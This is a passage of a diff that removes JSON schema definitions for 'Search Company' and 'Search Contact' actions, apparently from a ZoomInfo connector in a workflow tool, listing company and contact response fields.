-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "id",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "The type of the resource",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "type",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "additionalProperties": null,
-              "advancedOption": null,
-              "controlType": "OBJECT_BUILDER",
-              "defaultValue": null,
-              "description": "Response attributes for company search.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "multipleValues": null,
-              "name": "attributes",
-              "options": null,
-              "optionsDataSource": null,
-              "placeholder": null,
-              "properties": [ {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Company Name.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "name",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "City of the company's primary address.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "city",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "State or province of the company's primary address.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "state",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Country of the company's primary address.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "country",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Approximate yearly revenue for the company in 1000's. For example, a 100M company is expressed as 100000.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "revenue",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Approximate number of people employed by the company.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "employeeCount",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Company website URL.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "website",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "The URL which can be used to retrieve the logo for the company.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "logo",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "additionalProperties": null,
-                "advancedOption": null,
-                "controlType": "OBJECT_BUILDER",
-                "defaultValue": null,
-                "description": "Management status of the record.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "multipleValues": null,
-                "name": "managementStatus",
-                "options": null,
-                "optionsDataSource": null,
-                "placeholder": null,
-                "properties": [ {
-                  "advancedOption": null,
-                  "controlType": "SELECT",
-                  "defaultValue": null,
-                  "description": "Indicates whether record is under management within the contract period.",
-                  "displayCondition": null,
-                  "exampleValue": null,
-                  "expressionEnabled": null,
-                  "hidden": null,
-                  "label": null,
-                  "metadata": { },
-                  "name": "underManagement",
-                  "options": [ {
-                    "description": null,
-                    "label": "True",
-                    "value": true
-                  }, {
-                    "description": null,
-                    "label": "False",
-                    "value": false
-                  } ],
-                  "placeholder": null,
-                  "required": null,
-                  "type": "BOOLEAN"
-                }, {
-                  "advancedOption": null,
-                  "controlType": "TEXT",
-                  "defaultValue": null,
-                  "description": "Indicates when record was purchased if it is under management.",
-                  "displayCondition": null,
-                  "exampleValue": null,
-                  "expressionEnabled": null,
-                  "hidden": null,
-                  "label": null,
-                  "languageId": null,
-                  "maxLength": null,
-                  "metadata": { },
-                  "minLength": null,
-                  "name": "purchaseDate",
-                  "options": null,
-                  "optionsDataSource": null,
-                  "optionsLoadedDynamically": null,
-                  "placeholder": null,
-                  "regex": null,
-                  "required": null,
-                  "type": "STRING"
-                } ],
-                "required": null,
-                "type": "OBJECT"
-              } ],
-              "required": null,
-              "type": "OBJECT"
-            } ],
-            "required": null,
-            "type": "OBJECT"
-          } ],
-          "label": null,
-          "maxItems": null,
-          "metadata": { },
-          "minItems": null,
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "required": null,
-          "type": "ARRAY"
-        },
-        "placeholder": null,
-        "sampleOutput": null
-      },
-      "outputSchema": {
-        "advancedOption": null,
-        "controlType": "ARRAY_BUILDER",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "items": [ {
-          "additionalProperties": null,
-          "advancedOption": null,
-          "controlType": "OBJECT_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "metadata": { },
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "properties": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "The unique identifier for the resource.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "The type of the resource",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "type",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "additionalProperties": null,
-            "advancedOption": null,
-            "controlType": "OBJECT_BUILDER",
-            "defaultValue": null,
-            "description": "Response attributes for company search.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "metadata": { },
-            "multipleValues": null,
-            "name": "attributes",
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": null,
-            "properties": [ {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Company Name.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "name",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "City of the company's primary address.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "city",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "State or province of the company's primary address.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "state",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Country of the company's primary address.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "country",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Approximate yearly revenue for the company in 1000's. For example, a 100M company is expressed as 100000.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "revenue",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Approximate number of people employed by the company.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "employeeCount",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Company website URL.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "website",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "The URL which can be used to retrieve the logo for the company.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "logo",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "additionalProperties": null,
-              "advancedOption": null,
-              "controlType": "OBJECT_BUILDER",
-              "defaultValue": null,
-              "description": "Management status of the record.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "multipleValues": null,
-              "name": "managementStatus",
-              "options": null,
-              "optionsDataSource": null,
-              "placeholder": null,
-              "properties": [ {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether record is under management within the contract period.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "underManagement",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Indicates when record was purchased if it is under management.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "purchaseDate",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              } ],
-              "required": null,
-              "type": "OBJECT"
-            } ],
-            "required": null,
-            "type": "OBJECT"
-          } ],
-          "required": null,
-          "type": "OBJECT"
-        } ],
-        "label": null,
-        "maxItems": null,
-        "metadata": { },
-        "minItems": null,
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "required": null,
-        "type": "ARRAY"
-      },
-      "sampleOutput": null
-    },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Company name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Text description unique to the company you want to use as search criteria.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Description",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyDescription",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Company type (private, public, and so on).",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Type",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyType",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Search using Business Model (B2C, B2B, B2G) for a company. Default is All.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Business Model",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "businessModel",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Country for the company's primary address.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Country",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "country",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    } ],
-    "title": "Search Company",
-    "type": {
-      "name": "TOOLS",
-      "key": "tools",
-      "label": "Tools",
-      "multipleElements": true,
-      "required": false
-    },
-    "workflowNodeDescription": null
-  }, {
-    "name": "searchContact",
-    "description": "Search contact by specific criteria.",
-    "element": { },
-    "help": null,
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": {
-        "outputSchema": {
-          "advancedOption": null,
-          "controlType": "ARRAY_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "items": [ {
-            "additionalProperties": null,
-            "advancedOption": null,
-            "controlType": "OBJECT_BUILDER",
-            "defaultValue": null,
-            "description": null,
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "metadata": { },
-            "multipleValues": null,
-            "name": null,
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": null,
-            "properties": [ {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "The unique identifier for the resource.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "id",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "The type of the resource.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "type",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "additionalProperties": null,
-              "advancedOption": null,
-              "controlType": "OBJECT_BUILDER",
-              "defaultValue": null,
-              "description": "Response attributes for contact search.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "multipleValues": null,
-              "name": "attributes",
-              "options": null,
-              "optionsDataSource": null,
-              "placeholder": null,
-              "properties": [ {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Contact first name.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "firstName",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Contact middle name.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "middleName",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Contact last name.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "lastName",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Date on which the contact record was last validated.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "validDate",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Date on which the contact record was last updated.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "lastUpdatedDate",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Contact job title at current place of employment.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "jobTitle",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "INTEGER",
-                "defaultValue": null,
-                "description": "This score indicates the likelihood that a contact is reachable and still employed by the company listed. Minimum score is 75 and maximum is 99.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "maxValue": null,
-                "metadata": { },
-                "minValue": null,
-                "name": "contactAccuracyScore",
-                "options": null,
-                "optionsDataSource": null,
-                "placeholder": null,
-                "required": null,
-                "type": "INTEGER"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Comma-separated list of contact management levels.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "managementLevel",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Get last Education information.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "school",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has an email address for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasEmail",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a supplemental email address for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasSupplementalEmail",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a direct phone number for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasDirectPhone",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a mobile phone number for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasMobilePhone",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has company industry for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyIndustry",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a company phone number for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyPhone",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a street address for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyStreet",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a state for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyState",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a Zip Code or Postal Code for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyZipCode",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has a country for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyCountry",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
